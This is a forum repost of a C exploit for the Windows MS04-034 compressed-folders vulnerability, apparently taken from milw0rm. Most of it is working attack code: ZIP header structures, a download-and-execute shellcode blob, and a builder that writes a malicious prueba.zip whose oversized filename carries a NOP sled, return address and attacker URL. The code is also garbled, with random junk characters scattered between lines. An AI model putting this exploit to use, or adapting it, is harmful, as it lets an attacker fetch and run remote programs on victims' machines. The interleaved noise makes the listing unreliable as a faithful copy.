数学建模社区-数学中国
标题:
(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders
[打印本页]
作者:
韩冰
时间:
2004-11-21 10:51
标题:
(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders
/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034)
1 G4 z; c E ?6 F7 A: j, B$ h
*
/ x% e# e1 z+ J
* Tested under Windows XP SP0 Spanish/English
5 @( U2 I5 k$ j; n
*
4 ^! r/ w, j( R
* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html
7 T* h8 ?+ Z$ u8 y6 l" P. s; O9 T
* Exploit Date: 21/10/2004
% @) G1 S2 O' {
*
2 C" s6 i6 J. p0 s; E
* Tarako - Haxorcitos.com 2004
$ D0 w6 g; [8 H% G) @" c- I, L
*
* q0 X6 k7 s4 ^4 C7 e8 e, Q- n
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
" J% ~3 h) ^1 R- `6 x2 H8 X- V6 @
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
0 u1 h+ y5 ]! T6 E& U
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
8 m) }/ b' r! W4 e; b- k) \
*
' D" G& B, X8 p- l& f4 d
* Greetings t #haxorcitos, #dsr and #localhost @efnet
8 l6 @% ^4 Q$ m6 @
*
( x1 \6 S, W: C+ B
*
- f7 n; c( L( |% f
* How to get new offsets:
- b7 v0 C8 j8 ~+ |
* 1) attach debugger (i.e ollydbg) to explorer.exe
0 c1 W! U- K* v) c8 @; r( D& t, C( P
* 2) open the zip file as a folder and add or move some files to it
. Y+ U9 i2 m X8 C! H0 J$ F. r- X( [- X
* 3) search in the explorer.exe memory the shellcode and get the addresses
S8 R' \% L; |
*
' y7 a2 F5 S( |/ {: x
*/
$ @) ?( c, d6 D3 z
) d: I3 z2 ^' _2 `' S- s: |
#include <stdio.h>
* y3 U+ v) h3 [- x
#include <windows.h>
! q7 w! s P1 }& o; ~
' B% E( ~. V& w Y- J: g
#pragma pack(1)
& J' h* \$ j( H. b
& r7 p+ p9 o- i% b! s* T
#define DATOS "Tarako-Haxorcitos.com"
7 y( i$ V8 e; X) _% T
\6 v8 [: M2 v5 {: a
typedef struct {
7 [+ x* m; X& s& e
DWORD Signature; // PK.. 4 bytes (0x04034B50)
$ t4 y- P+ i: x O
WORD VersionNeeded;
# Q. }* Z$ p- m4 E7 Z, a
WORD GeneralPurposeFlag; // para el data descriptor y demas
. w% \0 k3 [8 L3 X9 i4 ]; h
WORD CompressionMethod;
. K( T" {% j" c; p" }* W
WORD ModFileTime;
6 q5 {. W' m4 X5 s7 b5 Z6 U# l
WORD ModFileDate;
: E& l. \+ Z' a v6 o2 B
DWORD Crc32;
1 j! ]( ]0 v( Q+ n9 p
DWORD CompressedSize;
5 R& I( n0 }! d: X9 X8 f
DWORD UncompressedSize;
1 L! q% B" u. h* _
WORD FilenameLength;
N- S* L& p% e6 z
WORD ExtraFieldLength;
0 z5 d6 j' l+ q4 ^
// filename (variable size)
n) P/ Z% \2 v% U# F+ @ e
// extra field (variable size)
& u; T9 d: R. O, b. q. F9 N) Z$ N6 H
}TOPHEADER;
) c4 O. x" u. b" n7 q! ^( k
2 C- X4 v) p' k& b/ U+ a
1 H1 z" {* l1 i) k5 r
typedef struct {
8 ]0 j8 E! X2 r7 [7 k
DWORD Signature; // PK.. 4 bytes (0x02014B50)
; E6 _: i1 B$ T; Z7 Y' \
WORD MadeVersion;
$ P) Z; j3 k& K
WORD VersionNeeded;
" q, F4 w: j9 I, A+ W/ D
WORD GeneralPurposeFlag; // para el data descriptor y demas
" d" r& C8 i8 Q! m) m$ w! p
WORD CompressionMethod;
n# n; q7 u, \# d0 `+ ?% Y2 ^
WORD ModFileTime;
0 j' r) [: g4 v. V& k
WORD ModFileDate;
1 t9 N. z6 c* @7 U* j' F0 t
DWORD Crc32;
8 m" V) `, Y2 P3 d6 K+ g" V- l s0 g
DWORD CompressedSize;
! H# K6 S' G4 d! f9 w/ m
DWORD UncompressedSize;
u( t. o$ C" p1 U% ~1 V/ G3 c
WORD FilenameLength;
# U5 A: N7 C! D T9 t: ?4 ?* o
WORD ExtraFieldLength;
. h. b) E v: \' x! Z& t) x
WORD FileCommentLength;
9 b6 e: u6 N& m6 t* d$ W
WORD DiskNumberStart;
0 l; l8 S7 Q2 J8 Z" r1 q
WORD InternalFileAttributes;
+ {* N/ ]5 N! e# z( e" F
DWORD ExternalFileAttributes;
/ V* l' K& n; M* ^
DWORD RelativeOffsetOfLocalHeader;
- f5 z* K, ?, i
// filename (variable size)
3 m' G7 }1 \$ C& M3 h* ~7 e( v
// extra field (variable size)
/ I' v" [8 C" |+ j) p
// file comment (variable size)
/ e, X3 b8 J( {; R
}MIDDLEHEADER;
& d* U, K- p) g+ X$ ?3 Q/ m
+ ?. U B: g: ~/ R/ d
typedef struct {
{) X* S- p A9 R6 F
DWORD Signature; // PK.. 4 bytes (0x06054B50)
3 X- d% u- ?* v: t. H, f1 d5 o
WORD NumOfThisDisk;
2 g/ X! c1 j' Q0 y1 x
WORD NumDisckStartCentralDirectory;
* w0 F( K" \$ J6 l4 k
WORD NumEntriesCentralDirOnThisDisk;
% h3 h0 D" x j! L( |
WORD TotalNumEntriesCentralDir;
1 N$ L1 K7 c( S% V; G
DWORD SizeCentralDirectory;
. E) O. t. i8 t K' y2 i% B
DWORD OffsetCentraDirRespectStartDiskNum;
/ \9 L& i- l& P4 y
WORD ZipCommentLength;
# k% }9 [5 t# D3 d S o z+ J3 U9 h
// zipfile comment (variable size)
+ Z% j0 ~/ {9 X0 ^8 Q. [0 f
}BOTTOMHEADER;
: {) u" e& [! B0 _ d2 }
% l* m [- t+ s+ V$ ~0 g k
/*
3 ~, y! H; m! E7 W, b2 M% S. R) p
* download shellcode - RaiSe - raise@netsearch-ezine.com
: t$ y, F. w# x
*/
7 R: u& H; b# P
char shellcode1[] =
! [$ |' O* o, D5 d7 {3 L; S) D
"\xEB\x5D\x5F\x8B\xF7\x80\x3F"
' V5 p% G* [8 h1 ^- e- |0 h
"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9"
. T/ w( }1 K A3 o3 r, r
"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08"
9 K# j8 D1 Y6 u; w
"\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8"
" T- p9 K" U9 r) h
"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B"
8 ?0 V3 F+ Q4 A: _
"\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74"
+ h2 J" X7 H3 J: r% m) ~
"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74"
5 Y/ P/ m2 v5 Z2 E/ {4 X1 e
"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B"
+ L' d3 {3 d, H/ z
"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53"
2 n% `: ?+ j% ]3 E/ C
"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78"
6 k- z: P3 f* `" w
"\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30"
# ?& W9 b; C& [( W
"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04"
% u$ e6 a8 t; ]& Z0 c
"\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66"
" C) b4 o5 z- ~# v5 C: s8 ?6 H1 o
"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D"
; ~7 h2 \6 l9 W! |' h
"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0"
3 O! j) V- h( w. L# Q
"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04"
. b8 l, O- T6 c2 l/ Z
"\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB"
2 U8 i; k" a4 g9 l) V
"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C"
7 \- ]4 w1 k$ I) _# A- i0 y
"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8"
9 w Y3 b+ ~8 |( _5 O- t
"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52"
4 j+ k2 z* X- |, c1 [- k4 q1 t9 k
"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1"
k$ ?, j! R* r
"\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC"
) A. o$ `: {( `( g8 o
"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0"
. @. _# q* [4 V" z# X
"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B"
6 G& V e8 Z7 q' H: Y
"\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF"
, l9 x/ u0 T9 q S; a7 N. K
"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69"
: `6 L+ {0 f# @- D
"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49"
# `2 n5 Z/ Q0 d% H) O$ y) Q3 k
"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F"
4 P9 c* n* k$ C6 Y2 \
"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61"
T. z- w7 V# ^
"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78"
0 {( K+ B0 X, o3 E' W
"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72"
& v2 P! d5 S8 P t$ y d: M1 [
"\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65"
7 a2 G: s- |6 M* ~, ^
"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69"
$ l& q' w3 {% G' b& W; R6 A: p3 x
"\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64"
0 d3 j5 W/ h: x! l F
"\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08";
) ~& t7 ?5 z7 ~* G0 R; S
char shellcode2[] ="\x08\x01";
8 J( k& D) ~; T, Z, p
3 V k( A! t# p$ F1 d% {
char offset[]="\x41\x41\x41\x41";
" B5 M" y& O$ o) c7 ~
char jmpbelow[]= "\xeb\x06\x90\x90";
v* W g* Y+ Q
. B' y! g4 J6 m/ q. [% A7 o
int main(int argc,char *argv[]) {
; s- k3 O4 U6 d8 R4 d- G: s. f6 p
8 F* h8 L' p% p5 t1 Q, [
FILE *ZipFile;
; Y$ Y* c$ [* L" Z2 }
TOPHEADER *Cabecera1;
) I+ q( P6 z/ e/ a; A9 e: r. T
MIDDLEHEADER *Cabecera2;
) O7 L1 L! r: J7 V1 f7 W
BOTTOMHEADER *Cabecera3;
2 v* ?& O+ b" Y$ j" N7 P! ?) ?2 {
) E+ ]$ ]. ]( S: r# @& J
DWORD c;
9 s2 `$ \( H; A0 L( b H& u
UINT i;
, N0 f8 d% W% L) p* }5 s5 g# k& j7 Y, m0 Z
char *filename;
0 _8 @, h2 b6 P. C. \1 _, y- R
char *url;
: u3 `% s! s0 H' }6 W
; o1 ^! D6 D) ~1 l6 `7 W
printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC");
5 n: s$ i( b3 w4 `
printf("\n Tarako - Tarako[AT]Haxorcitos.com\n");
1 K8 X Q. K* k' I9 L$ ^; E$ k
$ V F. W4 D" a6 X# Q1 \
if (argc!=2) {
2 Z2 n0 }! X+ K+ M
printf("\n\n Usage: %s <URL> \n",argv[0]);
6 j, B3 c% w% [, |
exit(1);
6 ]1 a$ ~/ M9 }' I9 ^; U& C$ y
}
7 E, [5 C7 d; E* a% W' l* ^
1 h4 V- J" B7 n, }# J2 H$ Z: M
url=argv[1];
8 Y. w D7 W( R# I k- K$ C2 ~
printf("\n * URL: %s",url);
( `' ~$ v2 B! N4 ?! ?! y
: V1 A/ y7 f( ~8 |3 q: R3 ^
2 d7 V, r. e: J
if (!(ZipFile=fopen("prueba.zip","w+b"))) {
) O. n! i6 U+ A3 A
printf("\n [E] fopen()");
7 p6 \5 }4 a5 X+ T
exit(1);
% u5 c2 l. k1 p( @: N- T. X; ]. H# }/ J
}
/ ~+ w+ ]) z% V) t: t
% Z2 S e8 U. Q
c=0x8000; // filename length
" e3 F$ P% M. g( g* M
filename=(char*)malloc(sizeof(char)*c);
7 N" r4 K+ K0 C) [8 P: U
memset(filename,0,sizeof(filename));
' s3 C* W0 J, q) a( g
. \" |6 [) C; P$ J% d
for( i=0x0;i<c;i++) filename
=(BYTE)0x90;
8 q/ N3 i7 R; m& b& m& H& u
6 C& X- T$ V) y; Q! ~+ n
memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow));
) k& d: h, K7 X v4 l) p* P6 x3 _
memcpy(filename+0x1818,offset,strlen(offset));
( F9 V/ ^1 P# S4 x5 c8 y
& s" q# |. }7 M5 }2 y ?6 A' L" N" B
memcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1);
+ X" o& X( p' A: {5 y# W
memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url));
, M+ \- B# U. d2 Y! J7 r
memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1);
6 @* y5 d9 k% v3 q4 g/ U
. q$ E$ O" e$ O+ D4 a+ n
memcpy(filename+(c-4),".txt",4);
, H9 T) a5 E" ?
* H. _& S1 i' |4 _ O) B' G, d+ U
Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER));
0 s1 r7 B$ Y8 O
Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER));
0 b4 M2 [8 E: x8 h8 y1 ]7 `9 U
Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER));
4 N; Z* N: F1 P8 j' _- t
memset(Cabecera1,0,sizeof(TOPHEADER));
% t2 t4 m" J3 G2 t, a: X
memset(Cabecera2,0,sizeof(MIDDLEHEADER));
8 a$ i7 o8 _/ R2 c2 B
memset(Cabecera3,0,sizeof(BOTTOMHEADER));
5 x1 O3 u4 O+ x. O
8 W/ M$ ~- b$ f4 `# G
///////////////////////////////////////////////////////////////////
0 E& ?, N- @% w: \ I! b
// TOPHEADER
! V0 I9 \% ]& _- P8 X& v& z4 c
///////////////////////////////////////////////////////////////////
) `5 D a& f8 o g9 w* h
Cabecera1->Signature=0x04034B50; // DWORD
9 |, r0 C/ B! a/ V& n
Cabecera1->VersionNeeded=0x000A; // WORD
9 U$ P8 ^' l) T7 x
Cabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas
9 c8 H5 h. D+ l2 k
Cabecera1->CompressionMethod=0x0000; // WORD
$ n* v- E0 Z: ~* g, U1 S/ I
Cabecera1->ModFileTime=0x1362; // WORD
+ K: X6 a: w! E( S( G e4 ^
Cabecera1->ModFileDate=0x3154; // WORD
8 f! ]7 }5 U1 T# S2 l) q$ b
Cabecera1->Crc32=0x85B36639; // DWORD
( W( [5 ]% Y( |3 N& v3 Y
Cabecera1->CompressedSize=0x00000015; // DWORD
, J+ I% v" z- J/ t3 W2 f7 Y
Cabecera1->UncompressedSize=0x00000015; // DWORD
( g* |2 _$ T+ O; `' p& d# U
Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);
0 [9 s4 j( d' {
Cabecera1->ExtraFieldLength=0x0000; // WORD
8 H# Q& H5 d4 G
///////////////////////////////////////////////////////////////////
3 u( N' ~ G/ x4 Z* X" ^
4 O, l+ j) k8 O' q3 [# L7 b
///////////////////////////////////////////////////////////////////
; l u! n3 I9 m8 G5 O) ~" j( Z
// MIDDLEHEADER
$ X! {7 L1 i9 V) B# ~( v
///////////////////////////////////////////////////////////////////
# b! q0 H1 a% _5 Y) o6 P+ P
Cabecera2->Signature=0x02014B50; // DWORD
/ B/ O5 m) g0 F. O5 k! ]
Cabecera2->MadeVersion=0x0014; // WORD
, [( s* e, Z5 v, N l
Cabecera2->VersionNeeded=0x000A; // WORD
4 ?, \, x9 |% H' y7 Q0 Q- ]
Cabecera2->GeneralPurposeFlag=0x0002; // WORD
1 u3 G: T' X/ T5 {4 \+ g5 K
Cabecera2->CompressionMethod=0x0000; // WORD
+ c. {% S' d8 l* b
Cabecera2->ModFileTime=0x1362; // WORD
& C8 ^5 F3 Q$ b- ~. X5 M
Cabecera2->ModFileDate=0x3154; // WORD
4 {! i: C5 u3 U+ U0 P
Cabecera2->Crc32=0x85B36639; // DWORD
6 E4 K2 B3 w; o
Cabecera2->CompressedSize=0x00000015; // DWORD
0 r* p( S' u. G f; j: O0 ?$ C1 g* Q0 \) [
Cabecera2->UncompressedSize=0x00000015; // DWORD
3 @ U/ B: P5 U$ G. t
Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);
/ w% C. u2 ?& ?( j& |$ x& ?
Cabecera2->ExtraFieldLength=0x0000; // WORD
7 q9 {8 Y* y2 z/ Z( V9 K
Cabecera2->FileCommentLength=0x0000; // WORD
( C* N8 ^8 o$ S9 \. g5 c% U* F# m
Cabecera2->DiskNumberStart=0x0000; // WORD
6 J! I" M/ r( N, M# N% L
Cabecera2->InternalFileAttributes=0x0001; // WORD
3 H' f( F; P: u1 d4 [* X, d8 A. G* k% v
Cabecera2->ExternalFileAttributes=0x00000020; // DWORD
. b/ i) Y" i+ i7 z
Cabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD
' u! W' N7 G9 P6 A# _& q3 L
///////////////////////////////////////////////////////////////////
2 I0 X+ X( S% d$ O
5 } b2 `5 C1 k5 f- m
///////////////////////////////////////////////////////////////////
2 Y8 ]' Q" u& S* C! m7 E
// BOTTOMHEADER
- v* |3 o0 z' u& o3 X
///////////////////////////////////////////////////////////////////
4 c7 }' E2 b$ f$ G! u" S/ `
Cabecera3->Signature=0x06054B50; // DWORD
8 i8 E w, [3 [
Cabecera3->NumOfThisDisk=0x0000; // WORD
$ T+ O c$ O9 \/ F Q3 k
Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD
/ s, p- T: h. O0 k% h6 T
Cabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD
4 h! G- O: C" T. s3 S2 f
Cabecera3->TotalNumEntriesCentralDir=0x0001; // WORD
; P2 y: G+ h8 S) B) t, t
Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD
: o' q* U R3 o! f* y- D4 k
Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD
k/ [* s, Z) X& H
Cabecera3->ZipCommentLength=0x0000; // WORD
8 o+ M3 E6 Y! R' _. C# @) q$ T
///////////////////////////////////////////////////////////////////
+ m6 J% p* |( u; R8 Q) p
6 ? \/ S& \) t7 a4 r
fwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile);
/ D# L$ V% B& A4 E9 I- r9 y
- t# n- U0 P: n, V* _* D0 e* \ j
fwrite(filename, c, 1,ZipFile);
, S' U" }% S( c* j: J! M: U
fwrite(DATOS,strlen(DATOS),1,ZipFile);
: |6 T1 S( w. h; l' c
4 J v: n" K- ~ W7 T8 I1 |
fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile);
1 J. _/ }7 I" ~, S3 s7 a' ~
fwrite(filename, c, 1,ZipFile);
1 L1 |& M8 g0 _* s
fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile);
" m" D( J5 O- I, B0 k
; F4 B* v9 L: k
fclose(ZipFile);
3 S* K( u" k# f
printf("\n * prueba.zip created\n");
8 n, k. K4 x T, N) b5 g) Q; S
return 1;
' k' r- j9 d' ]. Y9 o
}//downloaded from milw0rm.com
3 n/ |: k P, \- p
欢迎光临 数学建模社区-数学中国 (http://www.madio.net/)
Powered by Discuz! X2.5